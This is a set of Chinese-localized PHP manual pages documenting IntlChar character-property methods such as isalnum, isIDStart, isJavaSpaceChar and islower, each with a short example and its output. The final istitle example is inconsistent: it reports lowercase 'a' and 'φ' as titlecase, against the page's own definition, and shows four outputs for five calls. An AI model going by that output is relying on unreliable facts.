Returns the Unicode name for a given property value, as given in the Unicode database file PropertyValueAliases.txt.

Note:

Some of the names in PropertyValueAliases.txt can only be retrieved using IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, not IntlChar::PROPERTY_GENERAL_CATEGORY. These include:

  • "C" / "Other"
  • "L" / "Letter"
  • "LC" / "Cased_Letter"
  • "M" / "Mark"
  • "N" / "Number"
  • "P" / "Punctuation"
  • "S" / "Symbol"
  • "Z" / "Separator"

参数

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

If out of range, or this method doesn't work with the given value, false is returned.

value

Selector for a value for the given property. If out of range, false is returned.

In general, valid values range from 0 up to some maximum. There are a couple exceptions:

  • IntlChar::PROPERTY_BLOCK values begin at the non-zero value IntlChar::BLOCK_CODE_BASIC_LATIN
  • IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS values are not contiguous and range from 0..240.

type

Selector for which name to get. If out of range, false is returned.

All values have a long name. Most have a short name, but some do not. Unicode allows for additional names; if present these will be returned by adding 1, 2, etc. to IntlChar::LONG_PROPERTY_NAME.

返回值

Returns the name, or false if either the property or the type is out of range. Returns null on failure.

If a given type returns false, then all larger values of type will return false, with one exception: if false is returned for IntlChar::SHORT_PROPERTY_NAME, then IntlChar::LONG_PROPERTY_NAME (and higher) may still return a non-false value.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME + 1));
?>

以上示例会输出：

string(16) "Greek_And_Coptic"
string(5) "Greek"
string(16) "Greek_And_Coptic"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode version

  • ? IntlChar::getPropertyValueName
  • IntlChar::hasBinaryProperty ?
  • PHP Manual
  • IntlChar
  • Get the Unicode version

IntlChar::getUnicodeVersion

(PHP 7, PHP 8)

IntlChar::getUnicodeVersion — Get the Unicode version

说明

public static IntlChar::getUnicodeVersion(): array

Gets the Unicode version information.

The version array is filled in with the version information for the Unicode standard that is currently used by ICU. For example, Unicode version 3.1.1 is represented as an array with the values [3, 1, 1, 0].

参数

此函数没有参数。

返回值

An array containing the Unicode version number.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::getUnicodeVersion());
?>

以上示例会输出：

array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

参见

  • IntlChar::charAge() - Get the "age" of the code point

User Contributed Notes

There are no user contributed notes for this page.


Check a binary Unicode property for a code point

  • ? IntlChar::getUnicodeVersion
  • IntlChar::isalnum ?
  • PHP Manual
  • IntlChar
  • Check a binary Unicode property for a code point

IntlChar::hasBinaryProperty

(PHP 7, PHP 8)

IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point

说明

public static IntlChar::hasBinaryProperty(int|string $codepoint, int $property): ?bool

Checks a binary Unicode property for a code point.

Unicode, especially in version 3.2, defines many more properties than the original set in UnicodeData.txt.

The properties APIs are intended to reflect Unicode properties as defined in the Unicode Character Database (UCD) and Unicode Technical Reports (UTR). For details about the properties see » http://www.unicode.org/ucd/. For names of Unicode properties see the UCD file PropertyAliases.txt.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

property

The Unicode property to lookup (see the IntlChar::PROPERTY_* constants).

返回值

Returns true or false according to the binary Unicode property value for codepoint. Also false if property is out of bounds or if the Unicode version does not have data for the property at all, or not for this code point. Returns null on failure.

示例

Example #1 Testing different properties

<?php
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_ALPHABETIC));
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_BIDI_MIRRORED));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_ALPHABETIC));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_BIDI_MIRRORED));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(false)
bool(false)
bool(true)

参见

  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an alphanumeric character

  • ? IntlChar::hasBinaryProperty
  • IntlChar::isalpha ?
  • PHP Manual
  • IntlChar
  • Check if code point is an alphanumeric character

IntlChar::isalnum

(PHP 7, PHP 8)

IntlChar::isalnum — Check if code point is an alphanumeric character

说明

public static IntlChar::isalnum(int|string $codepoint): ?bool

Determines whether the specified code point is an alphanumeric character (letter or digit). true for characters with general categories "L" (letters) and "Nd" (decimal digit numbers).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is an alphanumeric character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isalnum("A"));
var_dump(IntlChar::isalnum("1"));
var_dump(IntlChar::isalnum("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

参见

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character
  • ctype_alnum() - 检测字母数字式字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a letter character

  • ? IntlChar::isalnum
  • IntlChar::isbase ?
  • PHP Manual
  • IntlChar
  • Check if code point is a letter character

IntlChar::isalpha

(PHP 7, PHP 8)

IntlChar::isalpha — Check if code point is a letter character

说明

public static IntlChar::isalpha(int|string $codepoint): ?bool

Determines whether the specified code point is a letter character. true for general categories "L" (letters).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a letter character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isalpha("A"));
var_dump(IntlChar::isalpha("1"));
var_dump(IntlChar::isalpha("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)

参见

  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isdigit() - Check if code point is a digit character
  • ctype_alpha() - 检测字母字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a base character

  • ? IntlChar::isalpha
  • IntlChar::isblank ?
  • PHP Manual
  • IntlChar
  • Check if code point is a base character

IntlChar::isbase

(PHP 7, PHP 8)

IntlChar::isbase — Check if code point is a base character

说明

public static IntlChar::isbase(int|string $codepoint): ?bool

Determines whether the specified code point is a base character. true for general categories "L" (letters), "N" (numbers), "Mc" (spacing combining marks), and "Me" (enclosing marks).

Note:

This is different from the Unicode definition in chapter 3.5, conformance clause D13, which defines base characters to be all characters (not Cn) that do not graphically combine with preceding characters (M) and that are neither control (Cc) or format (Cf) characters.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a base character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isbase("A"));
var_dump(IntlChar::isbase("1"));
var_dump(IntlChar::isbase("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

参见

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a "blank" or "horizontal space" character

  • ? IntlChar::isbase
  • IntlChar::iscntrl ?
  • PHP Manual
  • IntlChar
  • Check if code point is a "blank" or "horizontal space" character

IntlChar::isblank

(PHP 7, PHP 8)

IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character

说明

public static IntlChar::isblank(int|string $codepoint): ?bool

Determines whether the specified code point is a "blank" or "horizontal space", a character that visibly separates words on a line.

The following are equivalent definitions:

  • true for Unicode White_Space characters except for "vertical space controls" where "vertical space controls" are the following characters: U+000A (LF) U+000B (VT) U+000C (FF) U+000D (CR) U+0085 (NEL) U+2028 (LS) U+2029 (PS)
  • true for U+0009 (TAB) and characters with general category "Zs" (space separators) except Zero Width Space (ZWSP, U+200B).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is either a "blank" or "horizontal space" character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isblank("A"));
var_dump(IntlChar::isblank(" "));
var_dump(IntlChar::isblank("\t"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)

参见

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a control character

  • ? IntlChar::isblank
  • IntlChar::isdefined ?
  • PHP Manual
  • IntlChar
  • Check if code point is a control character

IntlChar::iscntrl

(PHP 7, PHP 8)

IntlChar::iscntrl — Check if code point is a control character

说明

public static IntlChar::iscntrl(int|string $codepoint): ?bool

Determines whether the specified code point is a control character.

A control character is one of the following:

  • ISO 8-bit control character (U+0000..U+001f and U+007f..U+009f)
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR (Cc)
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR (Cf)
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR (Zl)
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR (Zp)

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a control character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::iscntrl("A"));
var_dump(IntlChar::iscntrl(" "));
var_dump(IntlChar::iscntrl("\n"));
var_dump(IntlChar::iscntrl("\u{200e}"));
?>

以上示例会输出：

bool(false)
bool(false)
bool(true)
bool(true)

参见

  • IntlChar::isprint() - Check if code point is a printable character
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT
  • ctype_cntrl() - 检测控制字符

User Contributed Notes

There are no user contributed notes for this page.


Check whether the code point is defined

  • ? IntlChar::iscntrl
  • IntlChar::isdigit ?
  • PHP Manual
  • IntlChar
  • Check whether the code point is defined

IntlChar::isdefined

(PHP 7, PHP 8)

IntlChar::isdefined — Check whether the code point is defined

说明

public static IntlChar::isdefined(int|string $codepoint): ?bool

Determines whether the specified code point is "defined", which usually means that it is assigned a character.

true for general categories other than "Cn" (other, not assigned).

Note:

Note that non-character code points (e.g., U+FDD0) are not "defined" (they are Cn), but surrogate code points are "defined" (Cs).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a defined character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isdefined("A"));
var_dump(IntlChar::isdefined(" "));
var_dump(IntlChar::isdefined("\u{FDD0}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

参见

  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::istitle() - Check if code point is a titlecase letter

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a digit character

  • ? IntlChar::isdefined
  • IntlChar::isgraph ?
  • PHP Manual
  • IntlChar
  • Check if code point is a digit character

IntlChar::isdigit

(PHP 7, PHP 8)

IntlChar::isdigit — Check if code point is a digit character

说明

public static IntlChar::isdigit(int|string $codepoint): ?bool

Determines whether the specified code point is a digit character.

true for characters with general category "Nd" (decimal digit numbers). Beginning with Unicode 4, this is the same as testing for the Numeric_Type of Decimal.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a digit character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isdigit("A"));
var_dump(IntlChar::isdigit("1"));
var_dump(IntlChar::isdigit("\t"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)

参见

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isxdigit() - Check if code point is a hexadecimal digit
  • ctype_digit() - 检测数字字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a graphic character

  • ? IntlChar::isdigit
  • IntlChar::isIDIgnorable ?
  • PHP Manual
  • IntlChar
  • Check if code point is a graphic character

IntlChar::isgraph

(PHP 7, PHP 8)

IntlChar::isgraph — Check if code point is a graphic character

说明

public static IntlChar::isgraph(int|string $codepoint): ?bool

Determines whether the specified code point is a "graphic" character (printable, excluding spaces).

true for all characters except those with general categories "Cc" (control codes), "Cf" (format controls), "Cs" (surrogates), "Cn" (unassigned), and "Z" (separators).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a "graphic" character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isgraph("A"));
var_dump(IntlChar::isgraph("1"));
var_dump(IntlChar::isgraph("\u{2603}"));
var_dump(IntlChar::isgraph("\n"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(true)
bool(false)

参见

  • ctype_graph() - 检测除空格外的任何打印字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an ignorable character

  • ? IntlChar::isgraph
  • IntlChar::isIDPart ?
  • PHP Manual
  • IntlChar
  • Check if code point is an ignorable character

IntlChar::isIDIgnorable

(PHP 7, PHP 8)

IntlChar::isIDIgnorable — Check if code point is an ignorable character

说明

public static IntlChar::isIDIgnorable(int|string $codepoint): ?bool

Determines if the specified character should be regarded as an ignorable character in an identifier.

true for characters with general category "Cf" (format controls) as well as non-whitespace ISO controls (U+0000..U+0008, U+000E..U+001B, U+007F..U+009F).

Note:

Note that Unicode just recommends to ignore Cf (format controls).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is ignorable in identifiers, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isIDIgnorable("A"));
var_dump(IntlChar::isIDIgnorable(" "));
var_dump(IntlChar::isIDIgnorable("\u{007F}"));
?>

以上示例会输出：

bool(false)
bool(false)
bool(true)

参见

  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible in an identifier

  • ? IntlChar::isIDIgnorable
  • IntlChar::isIDStart ?
  • PHP Manual
  • IntlChar
  • Check if code point is permissible in an identifier

IntlChar::isIDPart

(PHP 7, PHP 8)

IntlChar::isIDPart — Check if code point is permissible in an identifier

说明

public static IntlChar::isIDPart(int|string $codepoint): ?bool

Determines if the specified character is permissible in an identifier.

true for characters with general categories "L" (letters), "Nl" (letter numbers), "Nd" (decimal digits), "Mc" and "Mn" (combining marks), "Pc" (connecting punctuation), and u_isIDIgnorable(c).

Note:

This is almost the same as Unicode's ID_Continue (IntlChar::PROPERTY_ID_CONTINUE) except that Unicode recommends to ignore Cf which is less than IntlChar::isIDIgnorable().

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is the code point may occur in an identifier, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isIDPart("A"));
var_dump(IntlChar::isIDPart("$"));
var_dump(IntlChar::isIDPart("\n"));
var_dump(IntlChar::isIDPart("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)
bool(false)

参见

  • IntlChar::isIDIgnorable() - Check if code point is an ignorable character
  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::PROPERTY_ID_CONTINUE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible as the first character in an identifier

  • ? IntlChar::isIDPart
  • IntlChar::isISOControl ?
  • PHP Manual
  • IntlChar
  • Check if code point is permissible as the first character in an identifier

IntlChar::isIDStart

(PHP 7, PHP 8)

IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier

说明

public static IntlChar::isIDStart(int|string $codepoint): ?bool

Determines if the specified character is permissible as the first character in an identifier according to Unicode (The Unicode Standard, Version 3.0, chapter 5.16 Identifiers).

true for characters with general categories "L" (letters) and "Nl" (letter numbers).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint may start an identifier, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isIDStart("A"));
var_dump(IntlChar::isIDStart("$"));
var_dump(IntlChar::isIDStart("\n"));
var_dump(IntlChar::isIDStart("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(false)
bool(false)

参见

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::PROPERTY_ID_START

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an ISO control code

  • ? IntlChar::isIDStart
  • IntlChar::isJavaIDPart ?
  • PHP Manual
  • IntlChar
  • Check if code point is an ISO control code

IntlChar::isISOControl

(PHP 7, PHP 8)

IntlChar::isISOControl — Check if code point is an ISO control code

说明

public static IntlChar::isISOControl(int|string $codepoint): ?bool

Determines whether the specified code point is an ISO control code.

true for U+0000..U+001f and U+007f..U+009f (general category "Cc").

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is an ISO control code, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isISOControl(" "));
var_dump(IntlChar::isISOControl("\n"));
var_dump(IntlChar::isISOControl("\u{200e}"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)

参见

  • IntlChar::iscntrl() - Check if code point is a control character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible in a Java identifier

  • ? IntlChar::isISOControl
  • IntlChar::isJavaIDStart ?
  • PHP Manual
  • IntlChar
  • Check if code point is permissible in a Java identifier

IntlChar::isJavaIDPart

(PHP 7, PHP 8)

IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier

说明

public static IntlChar::isJavaIDPart(int|string $codepoint): ?bool

Determines if the specified character is permissible in a Java identifier.

In addition to IntlChar::isIDPart(), true for characters with general category "Sc" (currency symbols).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint may occur in a Java identifier, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isJavaIDPart("A"));
var_dump(IntlChar::isJavaIDPart("$"));
var_dump(IntlChar::isJavaIDPart("\n"));
var_dump(IntlChar::isJavaIDPart("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(false)

参见

  • IntlChar::isIDIgnorable() - Check if code point is an ignorable character
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::isJavaIDStart() - Check if code point is permissible as the first character in a Java identifier
  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible as the first character in a Java identifier

  • ? IntlChar::isJavaIDPart
  • IntlChar::isJavaSpaceChar ?
  • PHP Manual
  • IntlChar
  • Check if code point is permissible as the first character in a Java identifier

IntlChar::isJavaIDStart

(PHP 7, PHP 8)

IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier

说明

public static IntlChar::isJavaIDStart(int|string $codepoint): ?bool

Determines if the specified character is permissible as the start of a Java identifier.

In addition to IntlChar::isIDStart(), true for characters with general categories "Sc" (currency symbols) and "Pc" (connecting punctuation).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint may start a Java identifier, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isJavaIDStart("A"));
var_dump(IntlChar::isJavaIDStart("$"));
var_dump(IntlChar::isJavaIDStart("\n"));
var_dump(IntlChar::isJavaIDStart("\u{2603}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(false)

参见

  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::isJavaIDPart() - Check if code point is permissible in a Java identifier
  • IntlChar::isalpha() - Check if code point is a letter character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a space character according to Java

  • ? IntlChar::isJavaIDStart
  • IntlChar::islower ?
  • PHP Manual
  • IntlChar
  • Check if code point is a space character according to Java

IntlChar::isJavaSpaceChar

(PHP 7, PHP 8)

IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java

说明

public static IntlChar::isJavaSpaceChar(int|string $codepoint): ?bool

Determine if the specified code point is a space character according to Java.

true for characters with general categories "Z" (separators), which does not include control codes (e.g., TAB or Line Feed).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a space character according to Java, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isJavaSpaceChar("A"));
var_dump(IntlChar::isJavaSpaceChar(" "));
var_dump(IntlChar::isJavaSpaceChar("\n"));
var_dump(IntlChar::isJavaSpaceChar("\t"));
var_dump(IntlChar::isJavaSpaceChar("\u{00A0}"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)
bool(false)
bool(true)

参见

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a lowercase letter

  • ? IntlChar::isJavaSpaceChar
  • IntlChar::isMirrored ?
  • PHP Manual
  • IntlChar
  • Check if code point is a lowercase letter

IntlChar::islower

(PHP 7, PHP 8)

IntlChar::islower — Check if code point is a lowercase letter

说明

public static IntlChar::islower(int|string $codepoint): ?bool

Determines whether the specified code point has the general category "Ll" (lowercase letter).

Note:

This misses some characters that are also lowercase but have a different general category value. In order to include those, use IntlChar::isULowercase().

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is an Ll lowercase letter, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::islower("A"));
var_dump(IntlChar::islower("a"));
var_dump(IntlChar::islower("Φ"));
var_dump(IntlChar::islower("φ"));
var_dump(IntlChar::islower("1"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

参见

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::istitle() - Check if code point is a titlecase letter
  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • IntlChar::PROPERTY_LOWERCASE
  • ctype_lower() - 检测小写字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Bidi_Mirrored property

  • ? IntlChar::islower
  • IntlChar::isprint ?
  • PHP Manual
  • IntlChar
  • Check if code point has the Bidi_Mirrored property

IntlChar::isMirrored

(PHP 7, PHP 8)

IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property

说明

public static IntlChar::isMirrored(int|string $codepoint): ?bool

Determines whether the code point has the Bidi_Mirrored property.

This property is set for characters that are commonly used in Right-To-Left contexts and need to be displayed with a "mirrored" glyph.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint has the Bidi_Mirrored property, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isMirrored("A"));
var_dump(IntlChar::isMirrored("<"));
var_dump(IntlChar::isMirrored("("));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)

参见

  • IntlChar::charMirror() - Get the "mirror-image" character for a code point
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a printable character

  • ? IntlChar::isMirrored
  • IntlChar::ispunct ?
  • PHP Manual
  • IntlChar
  • Check if code point is a printable character

IntlChar::isprint

(PHP 7, PHP 8)

IntlChar::isprint — Check if code point is a printable character

说明

public static IntlChar::isprint(int|string $codepoint): ?bool

Determines whether the specified code point is a printable character.

true for general categories other than "C" (controls).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a printable character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isprint("A"));
var_dump(IntlChar::isprint(" "));
var_dump(IntlChar::isprint("\n"));
var_dump(IntlChar::isprint("\u{200e}"));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(false)

参见

  • IntlChar::iscntrl() - Check if code point is a control character
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT
  • ctype_print() - 检测可打印字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is punctuation character

  • ? IntlChar::isprint
  • IntlChar::isspace ?
  • PHP Manual
  • IntlChar
  • Check if code point is punctuation character

IntlChar::ispunct

(PHP 7, PHP 8)

IntlChar::ispunct — Check if code point is punctuation character

说明

public static IntlChar::ispunct(int|string $codepoint): ?bool

Determines whether the specified code point is a punctuation character.

true for characters with general categories "P" (punctuation).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a punctuation character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::ispunct("."));
var_dump(IntlChar::ispunct(","));
var_dump(IntlChar::ispunct("\n"));
var_dump(IntlChar::ispunct("$"));

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(false)

参见

  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a space character

  • ? IntlChar::ispunct
  • IntlChar::istitle ?
  • PHP Manual
  • IntlChar
  • Check if code point is a space character

IntlChar::isspace

(PHP 7, PHP 8)

IntlChar::isspace — Check if code point is a space character

说明

public static IntlChar::isspace(int|string $codepoint): ?bool

Determines if the specified character is a space character or not.

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a space character, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::isspace("A"));
var_dump(IntlChar::isspace(" "));
var_dump(IntlChar::isspace("\n"));
var_dump(IntlChar::isspace("\t"));
var_dump(IntlChar::isspace("\u{00A0}"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

参见

  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property
  • ctype_space() - 检测空白字符

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a titlecase letter

  • ? IntlChar::isspace
  • IntlChar::isUAlphabetic ?
  • PHP Manual
  • IntlChar
  • Check if code point is a titlecase letter

IntlChar::istitle

(PHP 7, PHP 8)

IntlChar::istitle — Check if code point is a titlecase letter

说明

public static IntlChar::istitle(int|string $codepoint): ?bool

Determines whether the specified code point is a titlecase letter.

true for general category "Lt" (titlecase letter).

参数

codepoint

The int codepoint value (e.g. 0x2603 for U+2603 SNOWMAN), or the character encoded as a UTF-8 string (e.g. "\u{2603}")

返回值

Returns true if codepoint is a titlecase letter, false if not. Returns null on failure.

示例

Example #1 Testing different code points

<?php
var_dump(IntlChar::istitle("A"));
var_dump(IntlChar::istitle("a"));
var_dump(IntlChar::istitle("Φ"));
var_dump(IntlChar::istitle("φ"));
var_dump(IntlChar::istitle("1"));
?>

以上示例会输出：

bool(false)
bool(true)
bool(false)
bool(true)
